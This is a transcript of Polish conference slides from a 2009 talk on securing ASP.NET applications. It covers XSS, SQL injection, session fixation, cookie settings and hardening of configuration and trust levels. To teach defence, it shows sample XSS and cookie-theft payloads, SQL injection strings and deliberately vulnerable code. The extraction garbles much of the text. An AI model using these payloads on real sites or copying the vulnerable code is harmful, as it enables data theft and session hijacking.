ASP.NET. Gerard Frankowski. XVI Spotkanie Poznańskiej Grupy ASP.NET 2009

Transkrypt

1 Bezpieczeństwo usług ug w ASP.NET Gerard Frankowski Zespół Bezpieczeństwa PCSS XVI Spotkanie Poznańskiej Grupy ASP.NET Poznań,

2 Agenda Kim jesteśmy i co robimy? - PCSS i Zespół Bezpieczeństwa - Centrum Innowacji Microsoft Bezpieczeństwo IT a aplikacje webowe - Odpowiedzialność za bezpieczeństwo - ZagroŜenia i podatności aplikacji WWW Bezpieczeństwo aplikacji w ASP.NET - Bezpieczna implementacja kodu aplikacji - Konfiguracja ASP.NET Podsumowanie, pytania, dyskusja 2

3 Cel prezentacji Podniesienie świadomości na temat zagroŝeń związanych z niezabezpieczonymi aplikacjami w ASP.NET i wskazanie metod ochrony Prezentacja jest przeznaczona dla: - Programistów aplikacji ASP.NET - Administratorów serwerów hostujących aplikacje ASP.NET - Specjalistów ds.. zabezpieczeń (częściowo) Wiele przytoczonych zasad ma charakter ogólny 3

4 Kim jesteśmy i co robimy? 4

5 PCSS Poznańskie Centrum Superkomputerowo-Sieciowe Operator sieci PIONIER oraz POZMAN Uczestnik projektów naukowo-badawczych Główne obszary zainteresowań: - Gridy, sieci nowej generacji, portale - Bezpieczeństwo sieci i systemów 5

6 Zespół Bezpieczeństwa PCSS Zespół Bezpieczeństwa PCSS istnieje od 1996r. - Zabezpieczanie infrastruktury PCSS - Zadania bezpieczeństwa w projektach R&D - Szkolenia, transfer wiedzy - Badania własne - Usługi zewnętrzne Najciekawsze badania z ostatnich lat - Bezpieczeństwo komunikatorów internetowych - Badania sieci bezprzewodowych na terenie Poznania - Raport nt. bezpieczeństwa bankowości elektronicznej - Bezpieczeństwo serwerów WWW (Apache, MS IIS) - Bezpieczeństwo sklepów internetowych 6

7 Centrum Innowacji Microsoft Centrum bezpieczeństwa i usług outsourcingowych Partnerzy - Microsoft Polska - Poznańskie Centrum Superkomputerowo-Sieciowe - Politechnika Poznańska Otwarcie: r. 7

8 Wybrane zadania MIC Technologie - Interoperacyjność - Wirtualizacja - Wysokowydajne obliczenia komputerowe (HPC) - Wykorzystanie technologii Silverlight - Bezpieczne telekonsultacje medyczne Bezpieczeństwo - Program szkoleń bezpieczeństwa - Badania bezpieczeństwa serwera MS IIS - Program audytów bezpieczeństwa dla samorządów i MŚP Usługi - Bezpłatny hosting dla uczelni, kół naukowych, organizacji non-profit oraz studentów - Hosting portali społecznościowych, np. itcore.pl 8

9 Bezpieczeństwo IT a aplikacje webowe 9

10 Dlaczego bezpieczeństwo jest problemem dla twórców usług? Dobrze Drogo Niebezpiecznie Bezpiecznie Źle Tanio 10

11 Kto odpowiada za bezpieczeństwo? Decydenci / projektanci - Pomysł jaka usługa będzie oferowana? - Przetarg: koszt, uŝyteczność a bezpieczeństwo Programiści - Odpowiednia implementacja projektu - Ograniczani przez zakres projektu oraz czas Administratorzy - Konfigurują i udostępniaj pniają usługę, system operacyjny, sieć, urządzenia dostępowe,... - Ograniczeni przez moŝliwości usług i systemów, budŝet na bezpieczeństwo,... UŜytkownicy - Bezpieczeństwo to nie problem uŝytkownika ale musi on znać niezbędne dobre praktyki 11

12 Specyfika usług internetowych Większość usług ma za zadanie dotrzeć do maksymalnie licznej grupy docelowej - Przeciętny uŝytkownik nie posiada wiedzy na temat bezpieczeństwa IT - Usługi są często zorientowane na uŝyteczność, a nie na bezpieczeństwo Charakter przetwarzanych danych - Dane uwierzytelniające, osobowe (adres, wiek, hasła dostępowe,,...) - Historia działań (np. zakupów) - Numery kart kredytowych, płatności elektroniczne 12

13 Ogólne zagroŝenia usług ug WWW Ataki na serwery sieciowe - Szpiegostwo przemysłowe - Szkodzenie konkurencji Ataki na serwery i komputery uŝytkowniku ytkowników - Przejmowanie maszyn - KradzieŜ mocy obliczeniowej - KradzieŜ danych osobowych i toŝsamo samości - Rozsyłanie spamu - SzantaŜ - Organizowanie botnetów ataki DDoS itd. 13

14 Wybrane podatności aplikacji WWW Błędy w projekcie i kodzie - Błędy w projektowaniu funkcjonalności - Znaczenie filtrowania danych Ataki XSS (Cross( Site Scripting) Ataki SQL Injection Ataki Remote Code Execution - Sesje internetowe Błędy w konfiguracji serwerów - Ataki Information Disclosure - Konfiguracja ASP.NET - Konfiguracja serwerów: IIS, MS SQL Server,,... PowyŜsza lista absolutnie nie wyczerpuje tematu! 14

15 Podatności bezpieczeństwa w kodzie źródłowym 15

16 Główna przyczyna problemów Nieodpowiednie filtrowanie danych (lub jego brak) to bezpośredni rednia przyczyna większo kszości najpowaŝniejszych niejszych luk bezpieczeństwa - Przepełnienie bufora (języki C/C++) - Błędy ciągów formatujących (C/C++) - XSS (Cross( Site Scripting) - SQL Injection - Remote Code Execution Nie moŝna ufać ć Ŝadnym Ŝ danym wejściowym, zwłaszcza pochodzącym cym od uŝytkownikau - TakŜe: bazy danych, zmienne środowiskowe,... ALL INPUT IS EVIL!!! 16

17 Jak sytuacja wygląda w praktyce? Grafika: 17

18 Filtrowanie danych (1) Nie najlepsze pomysły - Brak filtrowania danych - Filtrowanie danych po stronie klienta 18

19 Filtrowanie danych (2) Czarne listy ( (black lists) - Definiujemy wzorce odrzucanych danych - Zwykle wzorce pełni nią rolę sygnatur ataków - Pozostałe e dane są s dopuszczane - Zaleta: często prostsza definicja - Wada: zbiór r złośliwych z danych zwykle trudno ściśle określi lić Białe e listy ( (white lists) - Definiujemy wzorce danych dopuszczanych - Wszystkie dane niepasujące do wzorca odrzucamy - Zaleta: dobrze zdefiniowana lista nie przepuści złośliwego z kodu - Wada: dla skomplikowanych pól p l (np( np.. treść e-kartki z podzbiorem znaczników w HTML) łatwo popełni nić błąd d w definicji listy 19

20 Filtrowanie danych (3) WyraŜenia regularne - Przy ich pomocy łatwo zaimplementować białe e i czarne listy - Przykład: przesłanie polskiego kodu pocztowego w adresie URL (metoda GET - parametr code) <% set code = request.querystring querystring(" ("code") set re = new RegExp re.pattern Pattern="^[0-9]{2,2}-[0-9]{3,3}$" if re.test.test(code) then ' Prawidlowy kod - normalne wykonanie skryptu else ' Bledny kod - instrukcje obslugi bledow end if %> 20

21 Filtrowanie danych (4) Dodatkowe mechanizmy weryfikacji - Sprawdzanie typu i wartości - Enumeracja wartości (np( np.. dni tygodnia, nazwy miesięcy) 21

22 Atak XSS - opis XSS: Cross Site Scripting - ZagroŜone one są s strony, na których wyświetlana wietlana treść częś ęściowo zaleŝy y od uŝytkownikau komentarze, fora dyskusyjne formularze internetowe, wyszukiwarki strony pobierające parametry tekstowe metodą POST/GET Opis ataku - Napastnik wysyła a do podatnej strony ciąg g znaków w będącyb kodem np. JavaScript Hej, to mój m j komentarz: <script< script>alert( >alert(document.cookie);</ );</script> - Ciąg znaków staje się elementem strony WWW, - UŜytkownik-ofiara wyświetla zainfekowaną stronę - Przeglądarka uŝytkownika wykonuje kod agresora 22

23 Przygotowujemy atak XSS Najprostszy formularz w ASP <html><body> Hello, <% response.write(" " & request.querystring("name")) %> </body></html>

24 XSS najprostsze przykłady

25 XSS ochrona aplikacji Przypadek: prosty formularz <form name="formxss" method="get" action="./user.asp"> The start year is 2003.<br>Enter the end year: <input type="text" name="endyear"><br> <input type="submit" value="wyślij"> </form> Plik user.asp wykonuje długotrwałe obliczenia dla lat endyear

26 Jak uchronić się przed atakiem DoS?

27 Naiwne filtrowanie danych u klienta Zabrońmy uŝytkownikowi wpisania dowolnej liczby! The start year is 2003.<br>Enter the end year: <select name="endyear"> <option value='2004'>2004</option> <option value='2005'>2005</option> <option value='2006'>2006</option> <option value='2007' selected>2007</option> </select> Jest to równowaŝne innym metodom sprawdzania poprawności danych po stronie klienta (formatu, zakresu danych itp.).

28 Ominięcie naiwnych zabezpieczeń Najprostszy sposób ominięcia ograniczeń Wysyłanie formularza metodą POST jest bezpieczniejsze <form name="formxss" method="post" action=" The start year is 2003.<br>Enter the end year:

29 Ale wystarczy przechwycić Ŝądanie...

30 Ataki XSS - zagroŝenia (1) Utrudnianie Ŝycia uŝytkownikomu - Wyskakujące okienka MessageBox KradzieŜ danych sesji uŝytkownikau - Przesyłanie cookies na serwer kontrolowany przez napastnika - <script>document.location= +document.cookie</script> Nieautoryzowany dostęp p do danych i operacji - <script>document.location=./admin/delete.php?id=666" ;</script> 30

31 Ataki XSS - zagroŝenia (2) Ataki DoS na przeglądark ądarkę - <MARQUEE><TABLE><MARQUEE HEIGHT=999999> - Więcej informacji: Zaawansowane ataki XSS - Skanowanie portów w TCP w sieci lokalnej ofiary - Podsłuchiwanie rozmów w (ActiveX( EasycallLite.ocx ocx) - Odwołania do wybranych stron z przeglądarki ofiary 31

32 XSS ochrona aplikacji (1) Weryfikacja danych po stronie serwera jest niezbędna - Zwykle najlepszym sposobem jest podejście whitelist - Najlepiej zastosować wyraŝenia regularne dla sprawdzenia formatu jeśli to zasadne dodatkową weryfikację zakresu - Podejście blacklist jest mniej przydatne, choć lepsze niŝ brak zabezpieczeń Oczywiście cie kontrola po stronie klienta teŝ jest przydatna - PomoŜe e uŝytkownikowi u (bardziej intuicyjny interfejs) - Zablokuje najgłupsze ataki

33 XSS ochrona aplikacji (2) Chronimy nasz formularz set year = request.querystring("endyear") set re = new RegExp re.pattern="^[0-9]{4}$" if re.test(year) then if year > 2003 and year < 2008 then for i = 2004 to year response.write("<br>i am making long computations for year " & i) else else end if next end if response.write("<br>you have entered a bad year number") response.write("<br>you have not entered a year number")

34 XSS ochrona aplikacji (3) Wbudowane mechanizmy ochrony Opcja dostępna od ASP.NET 1.0: ValidateRequest - więcej informacji: us/library/ms aspx <%@ Page validaterequest= true... Od ASP.NET 1.1: HttpRequest.ValidateInput - Weryfikacja: zapytania, danych formularza oraz ciasteczek - Nie moŝna wpływa ywać na szczegóły y działania ania - Zgłasza wyjątek HttpRequestValidationException - Więcej informacji: us/library/system.web.httprequest.validateinput(vs.71).aspx

35 XSS ochrona aplikacji (4) Uwaga na HttpRequest.ValidateInput ValidateInput! try { HttpRequest.ValidateInput(); //str = HttpRequest.Form.AllKeys[0]; } catch(httprequestvalidationexception e) { // bez odkomentowania wyjatek HttpRequestValidationException // nigdy nie zostanie zgloszony } Funkcja sama w sobie nie powoduje przeprowadzenia walidacji, ustawia jedynie flagi wymuszające walidację po próbie dostępu do kolekcji QueryString, Form i Cookies obiektu HttpRequest -Więcej:

36 Atak SQL Injection SQL Injection atak na bazę danych - ZagroŜone one są s strony budujące zapytania bazodanowe przy pomocy parametrów w uzyskanych od uŝytkownikau Przebieg ataku - Napastnik przekazuje złośliwe z parametry do zapytania - Sfałszowane zapytanie powoduje wyświetlenie wietlenie na wynikowej stronie WWW innych danych niŝn zakładano, adano, ich większej ilości lub informacji o strukturze bazy - W skrajnym przypadku zostaje wykonane polecenie języka obsługi baz danych - Napastnik moŝe e uzyskać dalsze informacje, pozwalające mu lepiej ukierunkować atak 36

37 Atak SQL Injection - podatny kod Strona pobiera z formularza parametr nazwisko set nazwisko = request.form("nazwisko") set objconn = Server.CreateObject("ADODB.Connection") objconn.open <CONNECTION_STRING> strsql = "SELECT * FROM pensje WHERE Nazwisko ='" strsql = strsql & nazwisko strsql = strsql & "'" set objrs = Server.CreateObject("ADODB.Recordset") objrs.open strsql, objconn do while not objrs.eof response.write("<br>") for each x in objrs.fields response.write(" " & x.name & " = " & x.value & " ") next objrs.movenext loop objconn.close 37

38 Atak SQL Injection - przykład Dostęp do danych Nazwisko: Baker or 1=1-- SQL Server 2005 SELECT * FROM pensje WHERE Nazwisko = Baker or 1=1-- 38

39 Atak SQL Injection - przykład 2 Modyfikacja danych - Nazwisko: ' insert into pensje (Lp, Imie, Nazwisko, Pensja) values (5, Gerard, Frankowski', 10000)-- SQL Server

40 Atak SQL Injection - zagroŝenia Nieautoryzowany dostęp p do danych Modyfikacja rekordów w bazy danych Dodanie lub usunięcie rekordów Usunięcie bazy danych Wykonywanie poleceń ń środowiska ś bazy danych i potencjalnie poleceń systemowych 40

41 Atak SQL Injection - obrona Odpowiedzialny: programista - Filtrowanie danych wejściowych uŝytkownika u pod kątemk obecności ci znaków w specjalnych uŝywanej u wersji językaj obsługi baz danych - Filtrowanie równier wnieŝ danych odczytanych z bazy! Odpowiedzialny: administratora - Bezpieczna konfiguracja k środowiska bazodanowego Zasada minimalnych uprawnień Odpowiednia polityka kontroli dostępu - Restrykcje dostępu na poziomie systemu operacyjnego Odpowiedzialność jest wspólna, a najlepsze rezultaty przyniesie połączenie wysiłków 41

42 SQL Injection - przykład 2 ;) Grafika: 42

43 Sesja internetowa Protokół HTTP jest bezstanowy - RozróŜnianie toŝsamości uŝytkowników jest kluczowe dla korzystania z e-usług Sesja internetowa Identyfikowany przez session ID zbiór r informacji o połą łączeniu 43

44 Ataki na sesje przykład Warunki - Usługa umoŝliwia zdefiniowanie własnego w session ID Przebieg ataku - Napastnik podsuwa p ofierze link Jak oszukać skarbówkę?? KliknijK tutaj! Pod linkiem kryje się URL: usluga.pl/< /<script>document.cookie= sessionid=abcd ;</script> - Ofiara klika link,, co powoduje nawiązanie sesji z usług ugą usluga.pl z identyfikatorem sesji abcd - Napastnik co jakiś czas próbuje nawiąza zać sesję z tym samym identyfikatorem - Po udanej próbie napastnik przechwytuje sesję ofiary 44

45 Ataki na sesje zagroŝenia Ujawnienie informacji o serwerze - Poszczególne serwery WWW obsługują sesje w róŝny sposób KradzieŜ sesji uŝytkownikau - Podszycie się pod ofiarę - KradzieŜ toŝsamo samości ofiary i jej konsekwencje: kradziek radzieŝ danych, zawarcie fałszywej umowy, kradzieŝ środków w finansowych, uzyskanie danych będących podstawą do szantaŝu,... - JeŜeli eli powiodło o się przejęcie sesji administratora serwisu, moŝliwe jest wykonanie dowolnego działania ania w ramach portalu 45

46 Czy te zagroŝenia są realne? Styczeń testy 50 sklepów internetowych przeprowadzone przez Zespół Bezpieczeństwa PCSS - Test 1 niedozwolone znaki w nazwie ciasteczka - Test 2 próba wymuszenia błędu zapisu pliku sesji - Test 3 odpowiedni czas Ŝycia ciasteczka - Test 4 odpowiedni czas Ŝycia sesji - Test 5 moŝliwość wymuszenia identyfikatora sesji - Test 6 powiązanie identyfikatora sesji z adresem IP - Test 7 stosowanie atrybutu httponly Więcej: 46

47 Rezultaty Test 1 Test 2 Test 3 Test 4 Test 5 Test 6 Test 7 Kolor czerwony i pochodne niebezpiecznie Kolor zielony bezpiecznie 47

48 Jak moŝna przechowywać dane sesji? Przesyłanie metodą GET w adresie URL - Wyjątkowo podatne na ataki Wykorzystanie ukrytych pól formularzy - Podatne na ataki - Komplikuje budowę serwisu Ciasteczka (cookies( cookies) - Przechowywane na serwerze w bazie danych lub w plikach sesji - Przechowywane po stronie klienta za pośrednictwem przeglądarki jako cookie 48

49 Zawartość ciasteczka Nazwa oraz skojarzona z nią wartość - Szczególnym z punktu widzenia bezpieczeństwa przypadkiem są cookies zawierające informacje o sesji uŝytkownika - Informacje o sesji w ASP.NET Identyfikator sesji jest 120-bitowym przypadkowym ciągiem znaków, reprezentowanym przez 20-znakowy łańcuch Nazwa ciasteczka brzmi ASP.NET_SessionId Data wygaśnięcia Domena (dokąd przeglądarka moŝe wysłać cookie) ŚcieŜka (skąd ciasteczko jest widoczne na serwerze) Atrybuty dodatkowe 49

50 Zwykłe e ciasteczko w ASP.NET <% %> HttpCookie cookie = new HttpCookie( licznik ); cookie.name cookie.value = licznik ; = yes ; cookie.expires = #01/10/ :00:00#; cookie.domain cookie.path = ; = /licznik_dir ; Response.Cookies.Add(cookie); 50

51 ZagroŜenie atakiem Session Fixation Atak polega na nawiązaniu przez napastnika sesji o określonym identyfikatorze - Skłonienie ofiary do nawiązania sesji o konkretnym ID - Brak uniewaŝniania wykorzystanych ID sesji Platforma Microsoft ASP nie zapewnia bezpośredniego wsparcia dla powtórnej generacji ID sesji - Microsoft zamknął zgłoszenie uŝytkownika we wspomnianym zakresie, uznając je za nie do naprawienia ( edbackid=143361&wa=wsignin1.0&siteid=210) - Niestety, ASP nie pozwala ponadto na bezpośredni dostęp (zapis) do cookie ASP.NET_SessionId 51

52 Session fixation - ochrona Porady Microsoftu dostępne pod adresem: - ://support.microsoft.com/kb/ Podejście OWASP: - Generacja dodatkowego ciasteczka, któremu nadajemy wartość toŝsamą z ID sesji (moŝemy ją odczytać) - Porównywanie zawartości dodatkowego ciasteczka z ID sesji - JeŜeli wartości są róŝne, uniewaŝniamy sesję - Więcej informacji + przykład Wykorzystanie uwierzytelniania Windows Forms zmniejsza zagroŝenie dzięki uŝyciu dodatkowego tokena 52

53 Czas waŝno ności ciasteczka Im dłuŝszy czas waŝności, tym łatwiejsze jest przejęcie sesji o wykradzionym identyfikatorz (Session Hijacking) Czas waŝności sesji zaleŝy od tego, jak cenna jest aplikacja - Bankowość internetowa - rzędu kilku(nastu nastu) ) minut - Serwis społecznościowy,, bramka SMS - np.. godzina - Standard OWASP: 5 minut! Dim mycookie As New HttpCookie( ( testcookie ) Dim expdate As DateTime expdate = DateTime.Now..Now.AddMinutes(5) mycookie.expires = expdate Response.Cookies.Add(myCookie mycookie) 53

54 Właściwości obiektu HttpCookie (1) Właściwość HttpOnly - Określa, czy cookie moŝe zostać odczytane poprzez aktywną zawartość witryny - Pozwala uchronić się przed atakami XSS wykonywanymi przy pomocy wstrzyknięcia kodu typu <script>... >...document.cookie<script script> Właściwość Secure - Definiuje poziom bezpieczeństwa ciasteczka (jest flagą) - Jeśli ustawiona, umoŝliwia obsługę cookie tylko za pośrednictwem protokołu HTTPS 54

55 Właściwości obiektu HttpCookie (2) Definicja bezpieczniejszego ciasteczka Dim mycookie As New HttpCookie( testcookie ) mycookie.httponly = true mycookie.secure = true Response.Cookies.Add(cookie) 55

56 Powiązanie ID sesji z adresem IP Przesłanie ciasteczka o danym ID spod innego adresu, niŝ zapisany po stronie serwera powoduje uniewaŝnienie sesji Zaleta: poprawa bezpieczeństwa - Zabezpieczenie przed kradzieŝą sesji Wady: - Utrudnienie korzystania z usług uŝytkownikom bez stałego adresu IP Realny przykład byłby dość skomplikowany ;) zachęcam do testów własnych 56

57 Bezpieczne sesje - podsumowanie Odpowiedzialność po stronie administratora - Odpowiednia konfiguracja serwera WWW /.NET Unikanie wyświetlania wietlania szczegółowych informacji o błęb łędach uŝytkownikowi Odpowiedzialność po stronie projektanta/programisty - Bezpieczna konfiguracja sesji Najlepsze wyniki przyniesie połączenie obu podejść 57

58 Błędy w konfiguracji ASP.NET 58

59 Pliki konfiguracyjne ASP.NET Specyfika plików konfiguracyjnych ASP.NET - Pliki tekstowe w formacie XML - Brak dedykowanego narzędzia producenta wspierającego edycję Pliki konfiguracyjne dla komputera - machine.config config (%SystemRoot%\Microsoft.NET\Framework\%wersja%\CONFIG\) Pliki konfiguracyjne dla aplikacji - web.config (w katalogu głównym i/lub podkatalogach) Pliki konfiguracji zabezpieczeń Code Access Security - Enterprise Policy: enterprisesec.config config - Machine and User Policy: security.config config - ASP.NET Policy: web_hightrust hightrust.config, web_mediumtrust mediumtrust.config, web_lowtrust lowtrust.config, web_minimaltrust minimaltrust.config 59

60 Top 10 don ts in ASP.NET configuration files (1) PoniŜsze błędne praktyki dotyczyć mogą wszystkich aplikacji webowych opartych na ASP.NET - Custom Errors Disabled - Leaving Tracing Enabled - Leaving Debugging Enabled - Cookies Accessible Through Client-Side Script - Cookieless Session State Enabled Więcej informacji: - :// Article/

61 Custom Errors Disabled Nieprawidłowa konfiguracja <configuration> <system.web> <customerrors mode="off"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <customerrors mode="remoteonly"> - Wyłą łączenie trybu customerrors spowoduje, Ŝe zdalny uŝytkowniku ujrzy szczegół ółowy opis błęb łędu, takŝe e z fragmentami kodu - Dla lokalnych Ŝąda dań warto pozostawić tryb debugowy 61

62 Nieprawidłowa konfiguracja 62

63 Prawidłowa konfiguracja 63

64 Prawidłowa konfiguracja (2) To jeszcze nie jest sytuacja idealna - Właściwe będzie przygotowanie własnych plików niezawierających informacji konfiguracyjnych, a np. przekazujących kontakt do administratora systemu lub helpdesku - Odpowiednia sekcja pliku machine.config config: <customerrors mode="remoteonly"> <error statuscode="404" redirect="errors/e404.htm"> <error statuscode= 500" redirect="errors/e500.htm"> </customerrors customerrors> 64

65 Leaving Tracing Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <trace enabled="true" localonly="false"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <trace enabled="false" localonly="true"> - Włączenie flagi powoduje, Ŝe e zdalny uŝytkownik u moŝe e uzyskać dostęp p do duŝej ilości wraŝliwych danych, np.. struktury poprzednich Ŝąda dań do serwera, szczegółó łów w jego konfiguracji, danych przesłanych w formularzach... 65

66 Tajemniczy plik trace.axd axd ;) 66

67 Leaving Debugging Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <compilation debug="true"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <compilation debug="false"> - Pozostawienie włąw łączonej flagi debug umoŝliwia ujawnienie większej ilości informacji napastnikowi - Nawet prawidłowe ustawienie customerrors nie wystarczy, poniewaŝ niektóre narzędzia deweloperskie mogą ujawnić treść komunikatów w błęb łędów 67

68 Cookies Accessible Through Client-Side Script Nieprawidłowa konfiguracja <configuration> <system.web Web> <httpcookies httponlycookies="false false"> Prawidłowa konfiguracja <configuration> <system.web Web> Znaczenie: <httpcookies httponlycookies="true true"> - Ustawienie true spowoduje, Ŝe e aktywna zawartość strony nie będzie mieć dostępu do cookies - Czy nam to czegoś nie przypomina? 68

69 Cookieless Session State Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <sessionstate cookieless="useuri"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <sessionstate cookieless="usecookies"> - Wartość UseCookies wymusza przechowywanie danych sesji przy pomocy mechanizmu ciasteczek, a nie przekazywanie ich przez adres URL 69

70 Top 10 don ts in ASP.NET configuration files (2) PoniŜsze błędne praktyki dotyczą aplikacji webowych opartych na ASP.NET, w których wykorzystuje się uwierzytelnianie Windows Forms - Cookieless Authentication Enabled - Failure to Require SSL for Authentication Cookies - Sliding Expiration Used - Non-Unique Authentication Cookie Used - Hardcoded Credentials Used Więcej informacji: - :// Article/

71 Poziomy zaufania CAS Aplikacji moŝna przypisać 1 z 5 poziomów w zaufania - Full - High - Medium - Low - Minimal MoŜliwe jest takŝe przygotowanie własnej definicji poziomu zaufania Szczególnie w przypadku oferowania hostingu dla podmiotów zewnętrznych poziom Full NIE JEST dobrym pomysłem! 71

72 High No unmanaged code No enterprise services Can access SQL Server and other OLE DB data sources Very limited reflection permissions No ability to invoke code by using reflection A broad set of other framework features are available Applications have full access to the file system, and to sockets Medium Permissions are limited to what the application can access within the directory structure of the application Low CAS No file access is permitted outside of the application's virtual directory hierarchy Can access SQL Server Can send by using SMTP servers Limited rights to certain common environment variables No reflection permissions whatsoever No sockets permission To access Web resources, you must explicitly add endpoint "URLs" either in the originurl attribute of the <trust> element or inside the policy file Intended to model the concept of a read-only application with no network connectivity Read only access for file I/O within the application's virtual directory structure Minimal Execute only No ability to change the "IPrincipal" on a thread or on the "HttpContext". 72

73 Błędna konfiguracja Plik web.config <location allowoverride="true"> <system.web> <securitypolicy> <trustlevel name="full" policyfile="internal"/> <trustlevel name="high" policyfile="web_hightrust.config"/> <trustlevel name="medium" policyfile="web_mediumtrust.config"/> <trustlevel name="low" policyfile="web_lowtrust.config"/> <trustlevel name="minimal" policyfile="web_minimaltrust.config"/> </securitypolicy> <trust level="full" originurl=""/> </system.web> </location> 73

74 Jak sprawdzić jej skutki? Narzędzia Dinis Cruz, OWASP ANSA Asp.Net Security Analyser V0_31b - ANBS Asp.Net Baseline Security v Pobrane narzędzia wgrywamy do głównego katalogu aplikacji WWW i uruchamiamy

75 75

76 76

77 Problemy Zbyt wysoki poziom zaufania - Jak go obniŝyć? - Jak zapewnić, Ŝe uŝytkownik pojedynczej aplikacji go nie zmieni? - Czy moŝna zróŝnicować poziom zaufania między aplikacjami? Konfiguracja systemu - moŝliwość wykonania poleceń systemowych: - Za pośrednictwem WSCRIPT.SHELL - Przy pomocy interfejsu WMI - Dzięki wywołaniom WinExec API Ponownie widać, jak istotne jest współgranie róŝnych elementów zabezpieczeń! 77

78 ObniŜamy poziom zaufania (1) Średni poziom zaufania dla wszystkich aplikacji na konkretnym serwerze <location allowoverride="false false"> <system.web web> <securitypolicy>... </securitypolicy securitypolicy> <trust level="medium" originurl="" /> </system.web web> </location location> 78

79 ObniŜamy poziom zaufania (2) ZróŜnicowanie poziomu zaufania w pliku machine.config config <location path="app1. ="app1.pl" allowoverride="false false"> <system.web web> <trust level="medium" originurl="" /> </system.web web> </location location> <location path=" ="myadminapp" allowoverride="false false"> <system.web web> <trust level= High High" originurl="" /> </system.web web> </location location> 79

80 Konfigurujemy system Mimo dostosowania ustawień ASP.NET najlepiej będzie nie pominąć dodatkowego utwardzenia systemu - Zablokowanie dostępu do obsługi Windows Management Instrumentation dla wszystkich uŝytkowników poza administratorem systemu przy wykorzystaniu aplikacji Zarządzanie Komputerem - Zablokowanie moŝliwości tworzenia obiektów Windows Script Host innym uŝytkownikom niŝ administrator systemu - Aplikacje webowe nigdy nie powinny korzystać z konta posiadającego uprawnienia SYSTEM To przykład podejścia Defence-in in-depth 80

81 Bezpieczna konfiguracja - podsumowanie Ograniczenie poziomu zaufania aplikacji webowych ZastrzeŜenie dostępu do informacji wewnętrznych (np( np. szczegółowych komunikatów o błędach) Odpowiednie uŝycie Konfiguracja serwera WWW - Tworzenie pul aplikacji i limitów dla pul Konfiguracja systemu operacyjnego - Zasada minimalnych przywilejów (korzystamy z konta ASPNET, nie z konta systemowego!) - ZastrzeŜenie dostępu do interfejsów umoŝliwiających wywoływanie poleceń systemowych 81

82 Podsumowanie 82

83 Bezpieczeństwo usługi Nie ma idealnego remedium Bezpieczna usługa musi być: - Odpowiednio zaprojektowana - Dobrze napisana - NaleŜycie skonfigurowana - Zainstalowana na skutecznie chronionym serwerze - Obsługiwana przez rozsądnego uŝytkownika - Regularnie audytowana Wszystkie powyŝsze elementy tworzą spójną całość, największe problemy to: - Dostarczenie wiedzy dla wszystkich zainteresowanych stron - Ułatwienie działań sobie, ale i innym Defence-in in-depth 83

84 Co warto zapamiętać? Usługi internetowe są naraŝone na szereg ataków - Szczególnie zagroŝone one są s usługi ugi związane zane z przepływem danych osobowych i środków w finansowych (np. e-sklepy, portale społecznościowe) Główną rolę w zabezpieczaniu e-usług ug odgrywają ich twórcy oraz administratorzy systemów - NajpowaŜniejszym i najczęściej występującym błędem na poziomie kodu źródłowego jest nieodpowiednie filtrowanie danych lub jego brak Odpowiednie zabezpieczenie usług to kwestia kluczowa i złoŝona, ale nie do uniknięcia Knowing how to live with insecurity is the only security J. Allen Paulos 84

85 Więcej informacji (przykłady) Cykl artykułów na portalu Startup-it it.pl,, rozszerzający tematykę dzisiejszej prezentacji (takŝe o kod PHP) Raport Zespołu u Bezpieczeństwa PCSS nt. bezpieczeń eństwa e-sklepów (np. sesje internetowe) - security.psnc.pl/reports/sklepy_internetowe internetowe_cookies.pdf Szkolenia MIC - mic.psnc.pl/pl/events/ev ev_ _ html (bezpieczny kod) TOP 10 Don ts in ASP.NET configuration files - :// Article/32493 The Open Web Application Security Project (m.in. narzędzie ANSA)

86 Ciekawe pozycje ksiąŝkowe Tworzenie bezpiecznych aplikacji Microsoft ASP.NET Udoskonalanie zabezpieczeń aplikacji i serwerów internetowych Bezpieczny kod - tworzenie i zastosowanie Więcej ksiąŝ ąŝek: - :// security/books/d efault.mspx (PL) - :// books/security/ default.asp asp (EN) 86

87 Zapraszamy (1): Startup-IT - Warsztaty Tworzenie serwisów internetowych ( rejestracja zamknięta :( i ) PHP czy.net? A moŝe e coś innego? Zabezpieczenia serwisów internetowych i ich łamanie Zabezpieczenia serwerów internetowych Zabezpieczanie aplikacji webowych w środowisku ASP.NET - Artykuły y ekspertów np.. cykl Filtrowanie danych w aplikacjach internetowych it.pl 87

88 Zapraszamy (2): Centrum Innowacji Microsoft - Program szkoleń bezpieczeństwa MIC m.in in.. warsztaty Omijanie firewalli w systemach Windows mic.psnc.pl/pl/tasks/ /tasks/lect.html - III Konferencja MIC - Dzień otwarty , Poznań Interoperacyjność ść,, wirtualizacja, bezpieczeństwo Wkrótce więcej informacji i rejestracja na stronach MIC 88

89 Informacje kontaktowe Autor prezentacji - gerard.frankowski frankowski@man.poznan.plpl Centrum Innowacji Microsoft - mic.psnc.plpl - mic@man man.poznan.plpl PCSS Zespół Bezpieczeństwa PCSS - security.psnc.plpl - security@man man.poznan.plpl 89

90 Pytania i dyskusja Dziękuj kuję za uwagę! 90